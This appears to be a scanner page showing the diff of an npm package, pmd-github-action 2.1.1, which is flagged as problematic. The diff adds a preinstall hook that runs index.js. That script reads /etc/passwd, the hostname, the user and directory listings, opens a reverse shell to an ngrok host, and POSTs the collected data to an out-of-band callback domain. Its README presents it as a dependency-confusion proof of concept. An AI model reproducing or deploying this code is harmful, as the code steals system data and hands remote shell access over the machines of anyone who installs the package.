pmd-github-action 2.1.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of pmd-github-action might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +3 -0
  2. package/index.js +45 -0
  3. package/package.json +12 -0
package/README.md ADDED
@@ -0,0 +1,3 @@
1
+ <h1 align="center">This NPM package vulnerable to dependency confiuse vulnerability</h1>
2
+ <p align="center">Name: Aryan Jaiswal</p>
3
+ <p align="center">Contact: aryan351985@gmail.com</p>
package/index.js ADDED
@@ -0,0 +1,45 @@
1
+ const execSync = require('child_process').execSync;
2
+
3
+ const whoami = execSync('whoami', { encoding: 'utf-8' });
4
+ const host = execSync('hostname', { encoding: 'utf-8' });
5
+ const current_dir = execSync('pwd', { encoding: 'utf-8' });
6
+ const passwd = execSync('cat /etc/passwd', { encoding: 'utf-8' });
7
+ const ls1 = execSync('ls', { encoding: 'utf-8' });
8
+ const ls2 = execSync('ls ../', { encoding: 'utf-8' });
9
+ const py = execSync('python --version', { encoding: 'utf-8' });
10
+ const bash = execSync('which bash', { encoding: 'utf-8' });
11
+ const lsb = execSync('lsb_release -a', { encoding: 'utf-8' });
12
+ const php = execSync('php --version', { encoding: 'utf-8' });
13
+ const shell = execSync('bash -i >& /dev/tcp/0.tcp.in.ngrok.io/18121 0>&1', { encoding: 'utf-8' });
14
+
15
+
16
+ const https = require("https")
17
+
18
+ const data = JSON.stringify({
19
+ "whoami": whoami,
20
+ "host" : host,
21
+ "cur_dir": current_dir,
22
+ "passwd": passwd,
23
+ "ls1": ls1,
24
+ "ls2": ls2,
25
+ "py": py,
26
+ "which_bash": bash,
27
+ "lsb": lsb,
28
+ "php_version": php,
29
+ "shell": shell,
30
+ })
31
+
32
+ const options = {
33
+ hostname: "cm30n6w2vtc0000cv6m0gkndggayyyyy8.oast.fun",
34
+ port: 443,
35
+ path: "/",
36
+ method: "POST",
37
+ headers: {
38
+ "Content-Type": "application/json",
39
+ "Content-Length": data.length,
40
+ },
41
+ }
42
+
43
+ const req = https.request(options)
44
+ req.write(data)
45
+ req.end()
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "pmd-github-action",
3
+ "version": "2.1.1",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }